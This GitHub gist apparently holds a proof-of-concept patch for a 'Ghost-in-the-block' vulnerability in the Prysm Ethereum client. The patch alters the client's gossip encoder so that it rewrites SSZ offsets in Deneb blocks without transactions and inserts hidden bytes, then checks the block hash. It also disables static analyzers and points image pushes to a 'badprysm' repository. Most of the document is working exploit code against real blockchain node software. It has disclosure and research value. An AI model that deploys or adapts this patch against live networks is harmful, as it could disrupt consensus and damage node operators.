Last active
September 19, 2024 17:01
-
-
Save sbudella-gco/910fafca7b3846e92d6945374bdd5b9a to your computer and use it in GitHub Desktop.
Proof-of-concept for the Ghost-in-the-block vulnerability in Prysm
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From e44f247cf44e5f2d70b2819c250c66e28b9f3c77 Mon Sep 17 00:00:00 2001 | |
From: Giuseppe Cocomazzi <xyz@asymmetric.re> | |
Date: Wed, 18 Sep 2024 15:59:42 +0200 | |
Subject: [PATCH] Changes for the Ghosty Boy. | |
| |
--- | |
BUILD.bazel | 6 +- | |
beacon-chain/p2p/encoder/BUILD.bazel | 1 + | |
beacon-chain/p2p/encoder/ssz.go | 100 +++++++++++++++++++++++++++ | |
cmd/beacon-chain/BUILD.bazel | 3 +- | |
cmd/validator/BUILD.bazel | 3 +- | |
hack/build_and_upload_docker.sh | 12 ++-- | |
6 files changed, 114 insertions(+), 11 deletions(-) | |
| |
diff --git a/BUILD.bazel b/BUILD.bazel | |
index f3a5ed411..44a2b3309 100644 | |
--- a/BUILD.bazel | |
+++ b/BUILD.bazel | |
@@ -126,7 +126,7 @@ STATICCHECK_ANALYZERS = [ | |
"sa4003", | |
"sa4004", | |
"sa4005", | |
- "sa4006", | |
+# "sa4006", | |
"sa4008", | |
"sa4009", | |
"sa4010", | |
@@ -199,12 +199,12 @@ nogo( | |
"//tools/analyzers/errcheck:go_default_library", | |
"//tools/analyzers/featureconfig:go_default_library", | |
"//tools/analyzers/gocognit:go_default_library", | |
- "//tools/analyzers/ineffassign:go_default_library", | |
+ #"//tools/analyzers/ineffassign:go_default_library", | |
"//tools/analyzers/interfacechecker:go_default_library", | |
"//tools/analyzers/logruswitherror:go_default_library", | |
"//tools/analyzers/maligned:go_default_library", | |
"//tools/analyzers/nop:go_default_library", | |
- "//tools/analyzers/properpermissions:go_default_library", | |
+ #"//tools/analyzers/properpermissions:go_default_library", | |
"//tools/analyzers/recursivelock:go_default_library", | |
"//tools/analyzers/shadowpredecl:go_default_library", | |
"//tools/analyzers/slicedirect:go_default_library", | |
diff --git a/beacon-chain/p2p/encoder/BUILD.bazel b/beacon-chain/p2p/encoder/BUILD.bazel | |
index 27c5f71bd..e577f7987 100644 | |
--- a/beacon-chain/p2p/encoder/BUILD.bazel | |
+++ b/beacon-chain/p2p/encoder/BUILD.bazel | |
@@ -20,6 +20,7 @@ go_library( | |
"@com_github_golang_snappy//:go_default_library", | |
"@com_github_pkg_errors//:go_default_library", | |
"@com_github_prysmaticlabs_fastssz//:go_default_library", | |
+ "//proto/prysm/v1alpha1:go_default_library", | |
], | |
) | |
diff --git a/beacon-chain/p2p/encoder/ssz.go b/beacon-chain/p2p/encoder/ssz.go | |
index 820af8461..83305bcdf 100644 | |
--- a/beacon-chain/p2p/encoder/ssz.go | |
+++ b/beacon-chain/p2p/encoder/ssz.go | |
@@ -1,8 +1,11 @@ | |
package encoder | |
import ( | |
+ "encoding/binary" | |
+ "encoding/hex" | |
"fmt" | |
"io" | |
+ "reflect" | |
"sync" | |
"github.com/gogo/protobuf/proto" | |
@@ -11,6 +14,7 @@ import ( | |
fastssz "github.com/prysmaticlabs/fastssz" | |
"github.com/prysmaticlabs/prysm/v5/config/params" | |
"github.com/prysmaticlabs/prysm/v5/math" | |
+ eth "github.com/prysmaticlabs/prysm/v5/proto/prysm/v1alpha1" | |
) | |
var _ NetworkEncoding = (*SszNetworkEncoder)(nil) | |
@@ -34,6 +38,68 @@ type SszNetworkEncoder struct{} | |
// ProtocolSuffixSSZSnappy is the last part of the topic string to identify the encoding protocol. | |
const ProtocolSuffixSSZSnappy = "ssz_snappy" | |
+func ghostInTheBlock(signedBBBz []byte) []byte { | |
+ blockOffset := fastssz.ReadOffset(signedBBBz[0:4]) | |
+ bz := signedBBBz[blockOffset:] | |
+ | |
+ bodyOffset := fastssz.ReadOffset(bz[80:84]) | |
+ body := bz[bodyOffset:] | |
+ var o9, o10, o11, o20, o23, o24 uint64 | |
+ | |
+ // Offset (9) 'ExecutionPayload' | |
+ o9 = fastssz.ReadOffset(body[380:384]) | |
+ // Offset (10) 'BlsToExecutionChanges' | |
+ o10 = fastssz.ReadOffset(body[384:388]) | |
+ // Offset (11) 'BlobKzgCommitments' | |
+ o11 = fastssz.ReadOffset(body[388:392]) | |
+ | |
+ execPayload := body[o9:o10] | |
+ // Offset (10) 'ExtraData' | |
+ o20 = fastssz.ReadOffset(execPayload[436:440]) | |
+ // Offset (13) 'Transactions' | |
+ o23 = fastssz.ReadOffset(execPayload[504:508]) | |
+ // Offset (14) 'Withdrawals' | |
+ o24 = fastssz.ReadOffset(execPayload[508:512]) | |
+ | |
+ fmt.Printf("Ghost offsets before -- o9:%x o10:%x o11:%x o20:%x o23:%x o24:%x\n", | |
+ bodyOffset+o9, bodyOffset+o10, bodyOffset+o11, bodyOffset+o9+o20, bodyOffset+o9+o23, bodyOffset+o9+o24) | |
+ | |
+ // insert a ghost region of N bytes | |
+ extraData := execPayload[o20:o23] | |
+ | |
+ N := 8 + len(extraData) | |
+ buf := make([]byte, 4) | |
+ o20 += uint64(N) | |
+ o23 += uint64(N) | |
+ o24 += uint64(N) | |
+ o10 += uint64(N) | |
+ o11 += uint64(N) | |
+ | |
+ fmt.Printf("Ghost offsets after -- o9:%x o10:%x o11:%x o20:%x o23:%x o24:%x\n", | |
+ bodyOffset+o9, bodyOffset+o10, bodyOffset+o11, bodyOffset+o9+o20, bodyOffset+o9+o23, bodyOffset+o9+o24) | |
+ | |
+ binary.LittleEndian.PutUint32(buf, uint32(o10)) | |
+ copy(body[384:388], buf) | |
+ binary.LittleEndian.PutUint32(buf, uint32(o11)) | |
+ copy(body[388:392], buf) | |
+ binary.LittleEndian.PutUint32(buf, uint32(o23)) | |
+ copy(execPayload[504:508], buf) | |
+ binary.LittleEndian.PutUint32(buf, uint32(o24)) | |
+ copy(execPayload[508:512], buf) | |
+ binary.LittleEndian.PutUint32(buf, uint32(o20)) | |
+ copy(execPayload[436:440], buf) | |
+ | |
+ tail := make([]byte, N, N) | |
+ var i int | |
+ for i = 0; i < N-len(extraData); i++ { | |
+ tail[i] = 0x36 | |
+ } | |
+ copy(tail[i:], extraData) | |
+ | |
+ sb := append(signedBBBz[:blockOffset], bz[:bodyOffset+o11-uint64(N)]...) | |
+ return append(sb, tail...) | |
+} | |
+ | |
// EncodeGossip the proto gossip message to the io.Writer. | |
func (_ SszNetworkEncoder) EncodeGossip(w io.Writer, msg fastssz.Marshaler) (int, error) { | |
if msg == nil { | |
@@ -43,6 +109,40 @@ func (_ SszNetworkEncoder) EncodeGossip(w io.Writer, msg fastssz.Marshaler) (int | |
if err != nil { | |
return 0, err | |
} | |
+ | |
+ t := reflect.TypeOf(msg) | |
+ if t == reflect.TypeOf(ð.SignedBeaconBlockDeneb{}) { | |
+ sbb, ok := msg.(*eth.SignedBeaconBlockDeneb) | |
+ if !ok { | |
+ return 0, errors.Errorf("message of %T does not support beacon block interface", msg) | |
+ } | |
+ if len(sbb.Block.Body.ExecutionPayload.Transactions) == 0 { | |
+ fmt.Println("Ghost in the block -- extraData:", sbb.Block.Body.ExecutionPayload.ExtraData) | |
+ b = ghostInTheBlock(b) | |
+ | |
+ htr, err := sbb.Block.HashTreeRoot() | |
+ if err == nil { | |
+ fmt.Println("Ghost in the block -- before hash ", hex.EncodeToString(htr[:])) | |
+ } | |
+ tmpBlock := eth.SignedBeaconBlockDeneb{} | |
+ if err = tmpBlock.UnmarshalSSZ(b); err != nil { | |
+ fmt.Println("Ghost in the block: unable to unmarshal ghost block -- ", err) | |
+ return 0, err | |
+ } | |
+ tmpBlockBz, err := tmpBlock.MarshalSSZ() | |
+ if err != nil { | |
+ fmt.Println("Ghost in the block: unable to marshal ghost block back --", err) | |
+ } | |
+ if !reflect.DeepEqual(tmpBlockBz, b) { | |
+ fmt.Println("Ghost in the block: expected mismatch -- tmpBlockBz != bz") | |
+ } | |
+ htr, err = tmpBlock.Block.HashTreeRoot() | |
+ if err == nil { | |
+ fmt.Println("Ghost in the block -- after hash ", hex.EncodeToString(htr[:])) | |
+ } | |
+ } | |
+ } | |
+ | |
if uint64(len(b)) > MaxGossipSize { | |
return 0, errors.Errorf("gossip message exceeds max gossip size: %d bytes > %d bytes", len(b), MaxGossipSize) | |
} | |
diff --git a/cmd/beacon-chain/BUILD.bazel b/cmd/beacon-chain/BUILD.bazel | |
index 92a0b7d04..1e5e0ba37 100644 | |
--- a/cmd/beacon-chain/BUILD.bazel | |
+++ b/cmd/beacon-chain/BUILD.bazel | |
@@ -73,7 +73,8 @@ prysm_image_upload( | |
name = "push_images", | |
binary = ":beacon-chain", | |
entrypoint = ["/beacon-chain"], | |
- repository = "gcr.io/prysmaticlabs/prysm/beacon-chain", | |
+ #repository = "gcr.io/prysmaticlabs/prysm/beacon-chain", | |
+ repository = "AR/badprysm/beacon-chain", | |
symlinks = { | |
# Backwards compatibility for images that depended on the old filepath. | |
"/app/cmd/beacon-chain/beacon-chain": "/beacon-chain", | |
diff --git a/cmd/validator/BUILD.bazel b/cmd/validator/BUILD.bazel | |
index 8fe1251bf..32fdf9ea0 100644 | |
--- a/cmd/validator/BUILD.bazel | |
+++ b/cmd/validator/BUILD.bazel | |
@@ -60,7 +60,8 @@ prysm_image_upload( | |
name = "push_images", | |
binary = ":validator", | |
entrypoint = ["/validator"], | |
- repository = "gcr.io/prysmaticlabs/prysm/validator", | |
+ #repository = "gcr.io/prysmaticlabs/prysm/validator", | |
+ repository = "AR/badprysm/validator", | |
symlinks = { | |
# Backwards compatibility for images that depended on the old filepath. | |
"/app/cmd/validator/validator": "/validator", | |
diff --git a/hack/build_and_upload_docker.sh b/hack/build_and_upload_docker.sh | |
index c80e82fe7..221fc0369 100755 | |
--- a/hack/build_and_upload_docker.sh | |
+++ b/hack/build_and_upload_docker.sh | |
@@ -4,7 +4,7 @@ | |
# This script builds and uploads the docker images to the registries. | |
# | |
# This script is intended to be a workaround until the rules_oci project supports | |
-# targets with multiple repositories like rules_docker does. See: https://github.com/bazel-contrib/rules_oci/issues/248 | |
+# targets with multiple repositories like rules_docker does. See: https://github.com/bazelisk-contrib/rules_oci/issues/248 | |
# ----------------------------------------------------------------------------- | |
# Validate that the tag argument exists. | |
@@ -16,24 +16,24 @@ fi | |
TAG=$1 | |
# Sanity check that all targets can build before running them. | |
-bazel build --config=release \ | |
+bazelisk build --config=release \ | |
//cmd/beacon-chain:push_oci_image \ | |
//cmd/validator:push_oci_image \ | |
//cmd/prysmctl:push_oci_image | |
# Push the images to the registry. | |
### Beacon chain | |
-bazel run --config=release \ | |
+bazelisk run --config=release \ | |
//cmd/beacon-chain:push_oci_image -- --tag=$TAG | |
### Beacon chain (blst portable image) | |
-bazel run --config=release --define=blst_modern=false \ | |
+bazelisk run --config=release --define=blst_modern=false \ | |
//cmd/beacon-chain:push_oci_image -- --tag=$TAG-portable | |
### Validator | |
-bazel run --config=release \ | |
+bazelisk run --config=release \ | |
//cmd/validator:push_oci_image -- --tag=$TAG | |
### Prysmctl | |
-bazel run --config=release \ | |
+bazelisk run --config=release \ | |
//cmd/prysmctl:push_oci_image -- --tag=$TAG | |
-- | |
2.43.0 | |
|
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment